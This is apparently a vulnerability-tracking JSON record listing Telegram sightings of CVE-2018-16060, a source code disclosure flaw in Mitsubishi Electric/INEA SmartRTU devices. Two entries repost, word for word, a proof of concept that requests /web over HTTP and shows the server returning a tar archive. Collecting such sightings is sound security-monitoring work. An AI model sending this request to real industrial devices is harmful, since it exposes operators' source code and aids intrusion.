{"vulnerability": "cve-2018-16060", "sightings": [{"uuid": "aa22cf06-d536-4915-a092-d4524047a129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/cibsecurity/30665", "content": "\u203c CVE-2018-16060 \u203c\n\nMitsubishi Electric SmartRTU devices allow remote attackers to obtain sensitive information (directory listing and source code) via a direct request to the /web URI.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-16T00:28:55.000000Z"}, {"uuid": "336a3de1-a007-4f26-bc62-e8e1ac57002c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/hacking_Attack/28107", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Source Code Disclosure\n\nhttps://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png \nMitsubishi Electric and INEA SmartRTU suffer from a source code disclosure vulnerability.\n\nMD5 | 583706d96894839f4f3b86a553072053\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16060\n# PoC\n# Request\n\nGET /web HTTP/1.1\nHost: **.**.**.***\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;\nx64; Trident/5.0)\nConnection: close\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:09:53 GMT\nServer: Apache/2.4.7 (Ubuntu)\nContent-Location: web.tar\nVary: negotiate\nTCN: choice\nLast-Modified: Wed, 19 Nov 2014 09:40:36 GMT\nETag: \"93800-5083300f58d00;51179459a2c00\"\nAccept-Ranges: bytes\nContent-Length: 604160\nConnection: close\nContent-Type: application/x-tar\nReference :\n\nhttps://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:12.961583Z"}, {"uuid": "66e34662-c7d4-4157-b400-338cc89e6922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16060", "type": "seen", "source": "https://t.me/hacking_Attack/28107", "content": "Exploit Collector\nMitsubishi Electric / INEA SmartRTU Source Code Disclosure\n\nhttps://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png \nMitsubishi Electric and INEA SmartRTU suffer from a source code disclosure vulnerability.\n\nMD5 | 583706d96894839f4f3b86a553072053\n\nDownload\n# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure\n# Date: 2021-17-10\n# Exploit Author: Hamit C\u0130BO\n# Vendor Homepage: https://www.inea.si\n# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/\n# Version: ME RTU\n# Tested on: Windows\n# CVE : CVE-2018-16060\n# PoC\n# Request\n\nGET /web HTTP/1.1\nHost: **.**.**.***\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;\nx64; Trident/5.0)\nConnection: close\n\n# Response\n\nHTTP/1.1 200 OK\nDate: Wed, 08 Aug 2018 08:09:53 GMT\nServer: Apache/2.4.7 (Ubuntu)\nContent-Location: web.tar\nVary: negotiate\nTCN: choice\nLast-Modified: Wed, 19 Nov 2014 09:40:36 GMT\nETag: \"93800-5083300f58d00;51179459a2c00\"\nAccept-Ranges: bytes\nContent-Length: 604160\nConnection: close\nContent-Type: application/x-tar\nReference :\n\nhttps://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:38.906968Z"}]}